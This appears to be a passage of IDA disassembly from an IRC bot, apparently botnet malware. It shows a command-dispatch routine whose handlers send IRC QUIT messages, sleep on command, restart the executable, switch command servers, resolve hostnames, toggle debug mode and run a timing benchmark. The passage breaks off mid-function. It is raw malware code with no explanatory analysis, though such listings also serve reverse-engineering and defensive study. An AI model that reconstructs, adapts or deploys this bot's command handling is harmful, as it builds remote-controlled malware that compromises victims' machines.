; ---------------------------------------------------------------------------


loc_40B631:				; CODE XREF: sub_40A9CF+C12j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419BE8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B678
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_414600
		add	esp, 18h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B678:				; CODE XREF: sub_40A9CF+C75j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419BE0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40B791
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B69F
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B69F:				; CODE XREF: sub_40A9CF+CC9j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		shl	eax, 1
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_5A68],	eax
		cmp	[ebp+var_5A68],	0
		jnz	short loc_40B6C8
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B6C8:				; CODE XREF: sub_40A9CF+CF2j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		push	[ebp+var_5A68]
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40EB4E
		add	esp, 0Ch
		push	[ebp+var_5A68]
		push	offset dword_419BC4
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_5A68]
		call	sub_416B4C	; free
		pop	ecx
		push	1000h
		lea	eax, [ebp+var_1A60]
		push	eax
		call	sub_4104A3
		pop	ecx
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp+var_A60], eax
		and	[ebp+var_1A64],	0
		jmp	short loc_40B743
; ---------------------------------------------------------------------------


loc_40B736:				; CODE XREF: sub_40A9CF+D9Bj
		mov	eax, [ebp+var_1A64]
		inc	eax
		mov	[ebp+var_1A64],	eax


loc_40B743:				; CODE XREF: sub_40A9CF+D65j
		cmp	[ebp+var_1A64],	186A0h
		jge	short loc_40B76C
		push	1000h
		lea	eax, [ebp+var_5A64]
		push	eax
		lea	eax, [ebp+var_1A60]
		push	eax
		call	sub_40EB4E
		add	esp, 0Ch
		jmp	short loc_40B736
; ---------------------------------------------------------------------------


loc_40B76C:				; CODE XREF: sub_40A9CF+D7Ej
		call	sub_416B64	; clock
		sub	eax, [ebp+var_A60]
		push	eax
		push	offset aItTookMeUms_ ; "It took	me %ums."
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B791:				; CODE XREF: sub_40A9CF+CBCj
		mov	eax, [ebp+var_1A8]
		sub	eax, off_419BA4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B823
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B7B4
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B7B4:				; CODE XREF: sub_40A9CF+DDEj
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_5A6C],	eax
		cmp	[ebp+var_5A6C],	0
		jnz	short loc_40B7DB
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B7DB:				; CODE XREF: sub_40A9CF+E05j
		push	[ebp+var_5A6C]
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_5A6C]
		and	byte ptr [ecx+eax], 0
		push	[ebp+var_5A6C]
		push	offset dword_419B88
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_5A6C]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B823:				; CODE XREF: sub_40A9CF+DD5j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B78
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B873
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B85C
		push	offset dword_41F028
		push	offset dword_419B64
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	short loc_40B86E
; ---------------------------------------------------------------------------


loc_40B85C:				; CODE XREF: sub_40A9CF+E70j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_41F028
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40B86E:				; CODE XREF: sub_40A9CF+E8Bj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B873:				; CODE XREF: sub_40A9CF+E67j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B58
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B899
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_4097A7
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B899:				; CODE XREF: sub_40A9CF+EB7j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B4C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B8C7
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_403FE5
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B8C7:				; CODE XREF: sub_40A9CF+EDDj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B3C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B8ED
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_4098F3
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B8ED:				; CODE XREF: sub_40A9CF+F0Bj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B30
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B91B
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_406722
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B91B:				; CODE XREF: sub_40A9CF+F31j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B20
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B949
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_412F07
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B949:				; CODE XREF: sub_40A9CF+F5Fj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B14
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B98A
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40A1A7
		add	esp, 14h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B98A:				; CODE XREF: sub_40A9CF+F8Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B08
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B9BF
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40A50E
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B9BF:				; CODE XREF: sub_40A9CF+FCEj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AFC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B9F5
		push	offset dword_41EC0C
		push	offset aQuitSRemoved_ ;	"QUIT :%s removed."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	36EE80h
		call	dword_41709C	; Sleep
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B9F5:				; CODE XREF: sub_40A9CF+1003j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419ADC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BA79
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BA18
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BA18:				; CODE XREF: sub_40A9CF+1042j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_41DB90
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40BA41
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+8]
		mov	[ebp+var_63EC],	eax
		jmp	short loc_40BA4B
; ---------------------------------------------------------------------------


loc_40BA41:				; CODE XREF: sub_40A9CF+1062j
		mov	[ebp+var_63EC],	offset byte_41DF10


loc_40BA4B:				; CODE XREF: sub_40A9CF+1070j
		push	[ebp+var_63EC]
		push	offset dword_41EE28
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41EE28
		push	offset dword_41DB90
		push	offset dword_419AD0
		call	sub_40D6CB
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BA79:				; CODE XREF: sub_40A9CF+1039j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AC4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BADB
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BA9C
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BA9C:				; CODE XREF: sub_40A9CF+10C6j
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40BAB3
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+8]
		mov	[ebp+var_63F0],	eax
		jmp	short loc_40BABD
; ---------------------------------------------------------------------------


loc_40BAB3:				; CODE XREF: sub_40A9CF+10D4j
		mov	[ebp+var_63F0],	offset byte_41DF10


loc_40BABD:				; CODE XREF: sub_40A9CF+10E2j
		push	[ebp+var_63F0]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419AD0
		call	sub_40D6CB
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BADB:				; CODE XREF: sub_40A9CF+10BDj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AB8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BB15
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BAFE
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BAFE:				; CODE XREF: sub_40A9CF+1128j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419AB0
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB15:				; CODE XREF: sub_40A9CF+111Fj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AA4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BB6C
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BB38
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB38:				; CODE XREF: sub_40A9CF+1162j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_5A70],	eax
		cmp	[ebp+var_5A70],	927C0h
		jle	short loc_40BB5B
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB5B:				; CODE XREF: sub_40A9CF+1185j
		push	[ebp+var_5A70]
		call	dword_41709C	; Sleep
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB6C:				; CODE XREF: sub_40A9CF+1159j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A9C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BBB0
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40BB93
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40BB98


loc_40BB93:				; CODE XREF: sub_40A9CF+11B9j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB98:				; CODE XREF: sub_40A9CF+11C2j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D4AB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BBB0:				; CODE XREF: sub_40A9CF+11B0j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A90
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BBF4
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40BBD7
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40BBDC


loc_40BBD7:				; CODE XREF: sub_40A9CF+11FDj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BBDC:				; CODE XREF: sub_40A9CF+1206j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D420
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BBF4:				; CODE XREF: sub_40A9CF+11F4j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A88
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BC28
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BC17
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BC17:				; CODE XREF: sub_40A9CF+1241j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40D6CB
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BC28:				; CODE XREF: sub_40A9CF+1238j
		mov	eax, [ebp+var_1A8]
		sub	eax, off_419A7C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BCB2
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BC84
		cmp	dword_41DF18, 0
		jz	short loc_40BC5B
		mov	[ebp+var_63F4],	offset aOn ; "on"
		jmp	short loc_40BC65
; ---------------------------------------------------------------------------


loc_40BC5B:				; CODE XREF: sub_40A9CF+127Ej
		mov	[ebp+var_63F4],	offset aOff ; "off"


loc_40BC65:				; CODE XREF: sub_40A9CF+128Aj
		push	[ebp+var_63F4]
		push	offset aDebugModeIsS_ ;	"Debug mode is %s."
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BC84:				; CODE XREF: sub_40A9CF+1275j
		push	offset aOn	; "on"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40BCA6
		mov	dword_41DF18, 1
		jmp	short loc_40BCAD
; ---------------------------------------------------------------------------


loc_40BCA6:				; CODE XREF: sub_40A9CF+12C9j
		and	dword_41DF18, 0


loc_40BCAD:				; CODE XREF: sub_40A9CF+12D5j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BCB2:				; CODE XREF: sub_40A9CF+126Cj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A50
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BCD9
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_415DFD
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BCD9:				; CODE XREF: sub_40A9CF+12F6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A44
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BD13
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BCFC
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BCFC:				; CODE XREF: sub_40A9CF+1326j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	offset dword_419A3C
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BD13:				; CODE XREF: sub_40A9CF+131Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A30
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BD52
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A24
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BD52
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A1C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BD62


loc_40BD52:				; CODE XREF: sub_40A9CF+1357j
					; sub_40A9CF+136Cj
		push	offset aQuitExitting ; "QUIT :exitting"
		call	sub_40D6CB
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BD62:				; CODE XREF: sub_40A9CF+1381j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A10
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BDC9
		push	104h
		lea	eax, [ebp+var_5B74]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_5B74]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		cmp	eax, 20h
		ja	short loc_40BDB6
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BDB6:				; CODE XREF: sub_40A9CF+13E0j
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx
		push	0
		call	dword_41705C	; ExitProcess


loc_40BDC9:				; CODE XREF: sub_40A9CF+13A6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A04
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BE19
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BDEC
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BDEC:				; CODE XREF: sub_40A9CF+1416j
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movzx	eax, byte ptr [eax]
		push	eax
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movzx	eax, byte ptr [eax]
		push	eax
		push	offset dword_4199D4
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BE19:				; CODE XREF: sub_40A9CF+140Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199C4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BE38
		call	sub_407148
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BE38:				; CODE XREF: sub_40A9CF+145Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199BC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BE62
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199B0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BE7B


loc_40BE62:				; CODE XREF: sub_40A9CF+147Cj
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_401D6E
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BE7B:				; CODE XREF: sub_40A9CF+1491j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199A8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BEA9
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40CEB0
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BEA9:				; CODE XREF: sub_40A9CF+14BFj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41999C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BED3
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41998C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BEFD


loc_40BED3:				; CODE XREF: sub_40A9CF+14EDj
		push	offset aQuitChangingSe ; "QUIT :changing server"
		call	sub_40D6CB
		pop	ecx
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D366
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BEFD:				; CODE XREF: sub_40A9CF+1502j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41996C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C0D9
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BF29
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax+4], offset byte_41DF10


loc_40BF29:				; CODE XREF: sub_40A9CF+154Ej
		lea	eax, [ebp+var_5B78]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	dword_41DF64	; getaddrinfo
		test	eax, eax
		jnz	loc_40C0BA
		mov	eax, [ebp+var_5B78]
		mov	[ebp+var_5B7C],	eax


loc_40BF54:				; CODE XREF: sub_40A9CF+16D8j
		cmp	[ebp+var_5B7C],	0
		jz	loc_40C0AC
		push	2
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_5F80]
		push	eax
		mov	eax, [ebp+var_5B7C]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_5B7C]
		push	dword ptr [eax+18h]
		call	dword_41DF68	; getnameinfo
		test	eax, eax
		jnz	loc_40C098
		mov	eax, [ebp+var_5B7C]
		cmp	dword ptr [eax+4], 2
		jnz	short loc_40BFEA
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40BFBA
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_63F8],	eax
		jmp	short loc_40BFC4
; ---------------------------------------------------------------------------


loc_40BFBA:				; CODE XREF: sub_40A9CF+15DBj
		mov	[ebp+var_63F8],	offset dword_419968


loc_40BFC4:				; CODE XREF: sub_40A9CF+15E9j
		lea	eax, [ebp+var_5F80]
		push	eax
		push	[ebp+var_63F8]
		push	offset dword_419944
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_40C08D
; ---------------------------------------------------------------------------


loc_40BFEA:				; CODE XREF: sub_40A9CF+15CEj
		mov	eax, [ebp+var_5B7C]
		cmp	dword ptr [eax+4], 17h
		jnz	short loc_40C03E
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C011
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_63FC],	eax
		jmp	short loc_40C01B
; ---------------------------------------------------------------------------


loc_40C011:				; CODE XREF: sub_40A9CF+1632j
		mov	[ebp+var_63FC],	offset dword_419968


loc_40C01B:				; CODE XREF: sub_40A9CF+1640j
		lea	eax, [ebp+var_5F80]
		push	eax
		push	[ebp+var_63FC]
		push	offset dword_419920
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_40C08D
; ---------------------------------------------------------------------------


loc_40C03E:				; CODE XREF: sub_40A9CF+1625j
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C059
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_6400],	eax
		jmp	short loc_40C063
; ---------------------------------------------------------------------------


loc_40C059:				; CODE XREF: sub_40A9CF+167Aj
		mov	[ebp+var_6400],	offset dword_419968


loc_40C063:				; CODE XREF: sub_40A9CF+1688j
		lea	eax, [ebp+var_5F80]
		push	eax
		mov	eax, [ebp+var_5B7C]
		push	dword ptr [eax+4]
		push	[ebp+var_6400]
		push	offset dword_4198EC
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_40C08D:				; CODE XREF: sub_40A9CF+1616j
					; sub_40A9CF+166Dj
		push	3E8h
		call	dword_41709C	; Sleep


loc_40C098:				; CODE XREF: sub_40A9CF+15BEj
		mov	eax, [ebp+var_5B7C]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_5B7C],	eax
		jmp	loc_40BF54
; ---------------------------------------------------------------------------


loc_40C0AC:				; CODE XREF: sub_40A9CF+158Cj
		push	[ebp+var_5B78]
		call	dword_41DF6C	; freeaddrinfo
		jmp	short loc_40C0D4
; ---------------------------------------------------------------------------


loc_40C0BA:				; CODE XREF: sub_40A9CF+1573j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_4198D0
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40C0D4:				; CODE XREF: sub_40A9CF+16E9j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C0D9:				; CODE XREF: sub_40A9CF+1541j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4198C4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C1D4
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40C105
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax+4], offset byte_41DF10


loc_40C105:				; CODE XREF: sub_40A9CF+172Aj
		lea	eax, [ebp+var_5F84]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	dword_41DF64	; getaddrinfo
		test	eax, eax
		jnz	loc_40C1B5
		push	4
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_6388]
		push	eax
		mov	eax, [ebp+var_5F84]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_5F84]
		push	dword ptr [eax+18h]
		call	dword_41DF68	; getnameinfo
		test	eax, eax
		jnz	short loc_40C1A9
		push	[ebp+var_5F84]
		call	dword_41DF6C	; freeaddrinfo
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C179
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_6404],	eax
		jmp	short loc_40C183
; ---------------------------------------------------------------------------


loc_40C179:				; CODE XREF: sub_40A9CF+179Aj
		mov	[ebp+var_6404],	offset dword_419968


loc_40C183:				; CODE XREF: sub_40A9CF+17A8j
		lea	eax, [ebp+var_6388]
		push	eax
		push	[ebp+var_6404]
		push	offset dword_4198A8
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C1A9:				; CODE XREF: sub_40A9CF+1781j
		push	[ebp+var_5F84]
		call	dword_41DF6C	; freeaddrinfo


loc_40C1B5:				; CODE XREF: sub_40A9CF+174Fj
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_4198D0
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C1D4:				; CODE XREF: sub_40A9CF+171Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419898
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C37A
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40C207
